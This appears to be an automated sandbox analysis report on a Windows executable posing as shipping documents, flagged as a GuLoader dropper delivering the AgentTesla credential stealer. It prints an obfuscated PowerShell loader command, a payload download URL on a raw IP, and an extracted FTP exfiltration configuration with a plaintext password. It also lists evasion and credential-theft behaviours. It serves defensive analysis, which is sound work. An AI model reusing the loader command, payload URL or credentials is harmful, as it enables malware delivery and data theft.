Edit tour

Windows Analysis Report
Shipping documents 000022999878999800009999.exe

Overview

General Information

Sample name:	Shipping documents 000022999878999800009999.exe
Analysis ID:	1518330
MD5:	4ecafa8f623606caf0a925f5c6b2eb10
SHA1:	59cb79183b9547b3915c8aa09ed904f84bcab22c
SHA256:	3fe8f843e696c1dacbdcabed38d7132776915d89b60ac10c68fda048cbfe044f
Tags:	exeGuLoaderuser-abuse_ch
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected GuLoader

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Initial sample is a PE file and has a suspicious name

Powershell drops PE file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Shipping documents 000022999878999800009999.exe (PID: 432 cmdline: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe" MD5: 4ECAFA8F623606CAF0A925F5C6B2EB10)

powershell.exe (PID: 5008 cmdline: "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wabmig.exe (PID: 4232 cmdline: "C:\Program Files (x86)\windows mail\wabmig.exe" MD5: BBC90B164F1D84DEDC1DC30F290EC5F6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.3376516352.0000000004687000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.2780799795.00000000094D7000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: wabmig.exe PID: 4232	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wabmig.exe PID: 4232	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5008, TargetFilename: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)" , CommandLine: "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)" , CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe", ParentImage: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe, ParentProcessId: 432, ParentProcessName: Shipping documents 000022999878999800009999.exe, ProcessCommandLine: "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)" , ProcessId: 5008, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:00:07.729876+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49720	185.29.11.53	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://ftp.concaribe.com

Avira URL Cloud: Label: malware

Found malware configuration

Source: Shipping documents 000022999878999800009999.exe.432.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe

ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: Shipping documents 000022999878999800009999.exe

ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: Shipping documents 000022999878999800009999.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49721 version: TLS 1.2

Source: Shipping documents 000022999878999800009999.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: qm.Core.pdbE source: powershell.exe, 00000002.00000002.2775532254.0000000006CDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbhx source: powershell.exe, 00000002.00000002.2779696439.0000000007FFE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.2779696439.0000000007FA0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49720 -> 185.29.11.53:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bgJJbKBK219.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 185.29.11.53Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bgJJbKBK219.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 185.29.11.53Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.concaribe.com

Source: wabmig.exe, 00000008.00000002.3393389879.00000000237A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.29.11.53/bgJJbKBK219.bin
Source: wabmig.exe, 00000008.00000002.3381693291.0000000008713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.29.11.53/bgJJbKBK219.bin-
Source: wabmig.exe, 00000008.00000002.3381693291.0000000008713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.29.11.53/bgJJbKBK219.bine
Source: wabmig.exe, 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://concaribe.com
Source: powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2775532254.0000000006C59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: wabmig.exe, 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.concaribe.com
Source: Shipping documents 000022999878999800009999.exe, 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Shipping documents 000022999878999800009999.exe, 00000000.00000000.2125866362.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2770069305.00000000048B1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2770069305.00000000048B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2775532254.0000000006D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.micXO
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49721 version: TLS 1.2

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Code function: 0_2_0040571B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040571B

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Shipping documents 000022999878999800009999.exe

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403532

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File created: C:\Windows\SysWOW64\sennepssovsen			Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File created: C:\Windows\resources\0809			Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_00406DC6	0_2_00406DC6
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_0040759D	0_2_0040759D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424EAE0	2_2_0424EAE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424F3B0	2_2_0424F3B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424E798	2_2_0424E798
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_0083E370	8_2_0083E370
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_0083AAB0	8_2_0083AAB0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_00834A58	8_2_00834A58
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_00833E40	8_2_00833E40
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_00834188	8_2_00834188
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_0083AAAA	8_2_0083AAAA

Source: Shipping documents 000022999878999800009999.exe

Static PE information: invalid certificate

Source: Shipping documents 000022999878999800009999.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/12@2/3

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

0_2_00403532

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049C7

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Code function: 0_2_004021AF CoCreateInstance,

0_2_004021AF

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

File created: C:\Users\user\AppData\Local\acneform

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1056:120:WilError_03

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

File created: C:\Users\user\AppData\Local\Temp\nsx1143.tmp

Jump to behavior

Source: Shipping documents 000022999878999800009999.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Shipping documents 000022999878999800009999.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

File read: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: wintypes.dll	Jump to behavior
